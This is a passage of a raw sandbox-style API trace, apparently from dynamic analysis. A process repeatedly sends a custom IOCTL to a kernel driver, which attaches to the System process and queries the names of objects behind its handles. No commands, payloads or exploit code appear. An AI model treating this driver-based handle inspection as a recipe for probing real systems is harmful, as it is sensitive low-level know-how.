ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.451] ObfDereferenceObject (Object=0xfffffa8003424050) returned 0x2 [0064.451] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.451] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.451] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.451] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.451] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.451] PsAcquireProcessExitSynchronization () returned 0x0 [0064.451] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.451] ObReferenceObjectByHandle (in: Handle=0xffffffff800009a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003424c90, HandleInformation=0x0) returned 0x0 [0064.451] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.451] PsReleaseProcessExitSynchronization () returned 0x2 [0064.451] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.451] ObQueryNameString (in: Object=0xfffffa8003424c90, ObjectNameInfo=0xfffffa80038e1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.451] ObfDereferenceObject (Object=0xfffffa8003424c90) returned 0x2 [0064.451] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.451] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.451] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.451] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.451] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.451] PsAcquireProcessExitSynchronization () returned 0x0 [0064.451] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.451] ObReferenceObjectByHandle (in: Handle=0xffffffff800009b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003428360, HandleInformation=0x0) returned 0x0 [0064.451] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.451] PsReleaseProcessExitSynchronization () returned 0x2 [0064.451] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.451] ObQueryNameString (in: Object=0xfffffa8003428360, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.451] ObfDereferenceObject (Object=0xfffffa8003428360) returned 0x2 [0064.451] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.451] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.451] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.452] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.452] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.452] PsAcquireProcessExitSynchronization () returned 0x0 [0064.452] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.452] ObReferenceObjectByHandle (in: Handle=0xffffffff800009b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800342a3e0, HandleInformation=0x0) returned 0x0 [0064.452] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.452] PsReleaseProcessExitSynchronization () returned 0x2 [0064.452] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.452] ObQueryNameString (in: Object=0xfffffa800342a3e0, ObjectNameInfo=0xfffffa80038be044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038be044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.452] ObfDereferenceObject (Object=0xfffffa800342a3e0) returned 0x2 [0064.452] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.452] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.452] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.452] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.452] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.452] PsAcquireProcessExitSynchronization () returned 0x0 [0064.452] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.452] ObReferenceObjectByHandle (in: Handle=0xffffffff800009b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800342a2b0, HandleInformation=0x0) returned 0x0 [0064.452] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.452] PsReleaseProcessExitSynchronization () returned 0x2 [0064.452] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.452] ObQueryNameString (in: Object=0xfffffa800342a2b0, ObjectNameInfo=0xfffffa80038dc044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038dc044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.452] ObfDereferenceObject (Object=0xfffffa800342a2b0) returned 0x2 [0064.452] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.452] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.452] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.452] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.452] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.452] PsAcquireProcessExitSynchronization () returned 0x0 [0064.452] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.452] ObReferenceObjectByHandle (in: Handle=0xffffffff800009c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003732a00, HandleInformation=0x0) returned 0x0 [0064.452] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.452] PsReleaseProcessExitSynchronization () returned 0x2 [0064.452] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.452] ObQueryNameString (in: Object=0xfffffa8003732a00, ObjectNameInfo=0xfffffa80038ea044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ea044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.452] ObfDereferenceObject (Object=0xfffffa8003732a00) returned 0x2 [0064.452] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.453] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.453] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.453] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.453] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.453] PsAcquireProcessExitSynchronization () returned 0x0 [0064.453] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.453] ObReferenceObjectByHandle (in: Handle=0xffffffff800009c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003732640, HandleInformation=0x0) returned 0x0 [0064.453] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.453] PsReleaseProcessExitSynchronization () returned 0x2 [0064.453] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.453] ObQueryNameString (in: Object=0xfffffa8003732640, ObjectNameInfo=0xfffffa80038eb044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038eb044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.453] ObfDereferenceObject (Object=0xfffffa8003732640) returned 0x2 [0064.453] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.453] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.453] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.453] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.453] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.453] PsAcquireProcessExitSynchronization () returned 0x0 [0064.453] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.453] ObReferenceObjectByHandle (in: Handle=0xffffffff800009cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003733d00, HandleInformation=0x0) returned 0x0 [0064.453] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.453] PsReleaseProcessExitSynchronization () returned 0x2 [0064.453] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.453] ObQueryNameString (in: Object=0xfffffa8003733d00, ObjectNameInfo=0xfffffa80038ec044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ec044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.453] ObfDereferenceObject (Object=0xfffffa8003733d00) returned 0x2 [0064.453] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.453] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.453] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.453] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.453] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.453] PsAcquireProcessExitSynchronization () returned 0x0 [0064.453] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.453] ObReferenceObjectByHandle (in: Handle=0xffffffff800009e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800f5f7050, HandleInformation=0x0) returned 0x0 [0064.453] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.453] PsReleaseProcessExitSynchronization () returned 0x2 [0064.454] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.454] ObQueryNameString (in: Object=0xfffffa800f5f7050, ObjectNameInfo=0xfffffa80038ed044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ed044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.454] ObfDereferenceObject (Object=0xfffffa800f5f7050) returned 0x2 [0064.454] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.454] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.454] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.454] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.454] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.454] PsAcquireProcessExitSynchronization () returned 0x0 [0064.454] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.454] ObReferenceObjectByHandle (in: Handle=0xffffffff800009e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80037a8050, HandleInformation=0x0) returned 0x0 [0064.454] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.454] PsReleaseProcessExitSynchronization () returned 0x2 [0064.454] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.454] ObQueryNameString (in: Object=0xfffffa80037a8050, ObjectNameInfo=0xfffffa80038ee044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ee044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.454] ObfDereferenceObject (Object=0xfffffa80037a8050) returned 0x2 [0064.454] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.454] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.454] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.454] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.454] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.454] PsAcquireProcessExitSynchronization () returned 0x0 [0064.454] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.454] ObReferenceObjectByHandle (in: Handle=0xffffffff800009e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80037a8c90, HandleInformation=0x0) returned 0x0 [0064.454] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.454] PsReleaseProcessExitSynchronization () returned 0x2 [0064.454] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.454] ObQueryNameString (in: Object=0xfffffa80037a8c90, ObjectNameInfo=0xfffffa80038f8044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f8044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.454] ObfDereferenceObject (Object=0xfffffa80037a8c90) returned 0x2 [0064.454] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.454] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.454] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.454] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.454] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.454] PsAcquireProcessExitSynchronization () returned 0x0 [0064.454] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.455] ObReferenceObjectByHandle (in: Handle=0xffffffff800009f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003c35870, HandleInformation=0x0) returned 0x0 [0064.455] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.455] PsReleaseProcessExitSynchronization () returned 0x2 [0064.455] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.455] ObQueryNameString (in: Object=0xfffffa8003c35870, ObjectNameInfo=0xfffffa80038fa044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038fa044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.455] ObfDereferenceObject (Object=0xfffffa8003c35870) returned 0x2 [0064.455] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.455] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.455] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.455] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.455] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.455] PsAcquireProcessExitSynchronization () returned 0x0 [0064.455] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.455] ObReferenceObjectByHandle (in: Handle=0xffffffff800009fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80037aedf0, HandleInformation=0x0) returned 0x0 [0064.455] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.455] PsReleaseProcessExitSynchronization () returned 0x2 [0064.455] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.455] ObQueryNameString (in: Object=0xfffffa80037aedf0, ObjectNameInfo=0xfffffa80038fc044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038fc044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.455] ObfDereferenceObject (Object=0xfffffa80037aedf0) returned 0x2 [0064.455] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.455] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.455] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.455] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.455] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.455] PsAcquireProcessExitSynchronization () returned 0x0 [0064.455] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.455] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a00, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80037aea30, HandleInformation=0x0) returned 0x0 [0064.455] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.455] PsReleaseProcessExitSynchronization () returned 0x2 [0064.455] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.455] ObQueryNameString (in: Object=0xfffffa80037aea30, ObjectNameInfo=0xfffffa80038fd044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038fd044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.455] ObfDereferenceObject (Object=0xfffffa80037aea30) returned 0x2 [0064.455] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.455] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.455] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.455] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.455] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.456] PsAcquireProcessExitSynchronization () returned 0x0 [0064.456] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.456] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80037b03a0, HandleInformation=0x0) returned 0x0 [0064.456] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.456] PsReleaseProcessExitSynchronization () returned 0x2 [0064.456] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.456] ObQueryNameString (in: Object=0xfffffa80037b03a0, ObjectNameInfo=0xfffffa80038fe044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038fe044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.456] ObfDereferenceObject (Object=0xfffffa80037b03a0) returned 0x2 [0064.456] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.456] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.456] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.456] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.456] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.456] PsAcquireProcessExitSynchronization () returned 0x0 [0064.456] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.456] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a14, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80037b4310, HandleInformation=0x0) returned 0x0 [0064.456] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.456] PsReleaseProcessExitSynchronization () returned 0x2 [0064.456] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.456] ObQueryNameString (in: Object=0xfffffa80037b4310, ObjectNameInfo=0xfffffa80038ff044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ff044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.456] ObfDereferenceObject (Object=0xfffffa80037b4310) returned 0x2 [0064.456] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.456] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.456] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 